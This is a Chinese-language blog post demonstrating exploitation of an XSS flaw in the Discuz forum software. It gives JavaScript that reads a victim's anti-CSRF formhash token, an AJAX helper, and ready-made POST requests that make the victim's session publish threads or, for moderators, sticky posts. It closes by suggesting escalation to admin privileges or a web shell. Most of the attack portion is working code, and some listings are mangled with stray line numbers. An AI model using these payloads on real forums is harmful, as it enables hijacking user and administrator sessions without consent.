Discuz xss利用演示( 劫持发帖,置顶帖子等)

前言

本文重点在于discuz xss的利用, exploit是前几天疯子发的(http://www.wooyun.org/bugs/wooyun-2010-015312) 积分转账的xss漏洞,貌似利用有点鸡肋(=.=).

Discuz formhash 简单分析

熟悉discuz的都知道,formhash是一种类似验证码的东西,用来防止从我们网站外部提交数据,但不需要我们手动输入,它在页面打开时就已经生成了,存在一需要提交数据用到的地方的隐藏input(比如登录、发布文章)

例如发帖页面页面模板

```
1
2
3
4

其相应服务端验证代码

``` php if (submitcheck('formhash')) {

我们来看这货的生成算法

1
substr(md5(substr($_G['timestamp'], 0, -7).$_G['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8);


时间戳前3,大概是 100多天的样子,也就是说这货对于同一人来说 100 天内是不变的.

获取 formhash

当我们进行csrf操作时,首先得获取目标的 formhash,例如用户这里的提醒xss

http://www.av.com/home.php?mod=space&do=notice&isread=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<code>
var hash;

function getHash(){

for(var i=0; i<document.links.length; i++)

{

if(document.links[i].href.indexOf("action=logout&amp;formhash=")>0)

{

hash=document.links[i].href;

hash=hash.substr(hash.length-8,hash.length);

break;

} } }

Csrf 代码编写

得到了formhash就简单了 只要抓取各种 post包即可做各种猥琐事情了 ,这里笔者用了个

兼容的ajax(截取自jquery中的 ajax代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
x = window.x || {
request: function() {
if (window.XMLHttpRequest) {
var ajax = new XMLHttpRequest()
} else if (window.ActiveXObject) {
try {
var ajax = new ActiveXObject("Msxml2.XMLHTTP")
} catch(e) {
try {
var ajax = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {}
}
}
return ajax
},
handle: function(ajax, callback) {
ajax.onreadystatechange = function() {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
callback(ajax.responseText)
}
}
}
},
display:function(o){
if(typeof(o)=='object'){
var str='';
for(a in o){

str+=a+'='+o[a]+'&amp;';
}
str=str.substr(0,str.length-1);
return str;
}else{
return o;
}
},
get: function(url, callback) {
ajax = x.request();
ajax.open('get', url, true);
ajax.send(null);
x.handle(ajax, callback)
},
post: function(url, content, callback) {
ajax = x.request();
ajax.open('post', url, true);
ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
content=x.display(content);
ajax.send(content);
x.handle(ajax, callback)
},
}

发帖操作

1
x.post("forum.php?mod=post&amp;action=newthread&amp;fid=2&amp;extra=&amp;topicsubmit=yes","formhash="+hash+"&amp;posttime=1353989838&amp;wysiwyg=1&amp;subject=title&amp;message=aaaaaaaaaaaaaaaa%0D%0A&amp;replycredit_extcredits=0&amp;replycredit_times=1&amp;replycredit_membertimes=1&amp;replycredit_random=100&amp;readperm=&amp;price=&amp;tags=test&amp;rushreplyfrom=&amp;rushreplyto=&amp;rewardfloor=&amp;stopfloor=&amp;creditlimit=&amp;save=&amp;adddynamic=true&amp;usesig=1&amp;allownoticeauthor=1");

置顶帖子

1
x.post("forum.php?mod=topicadmin&amp;action=moderate&amp;optgroup=1&amp;modsubmit=yes&amp;infloat=yes&amp;inajax=1","frommodcp=&amp;formhash="+hash+"&amp;fid=2&amp;redirect=&amp;listextra=page%3D1&amp;handlekey=mods&amp;moderate[]=12&amp;operations[]=stick&amp;sticklevel=3&amp;expirationstick=&amp;digestlevel=0&amp;expirationdigest=&amp;highlight_color=0&amp;highlight_style[1]=0&amp;highlight_style[2]=0&amp;highlight_style[3]=0&amp;expirationhighlight=&amp;reason=");

附件下载

Csrf hijacking admin demo

置顶帖子视频演示

Csrf hijacking admin demo
在线:

高清无码:http://pan.baidu.com/share/link?shareid=136314&uk=587894688
其余动作读者可以抓包自行测试之
Ps:如果管理员同时登陆了后台还可以权限提升或者直接getshell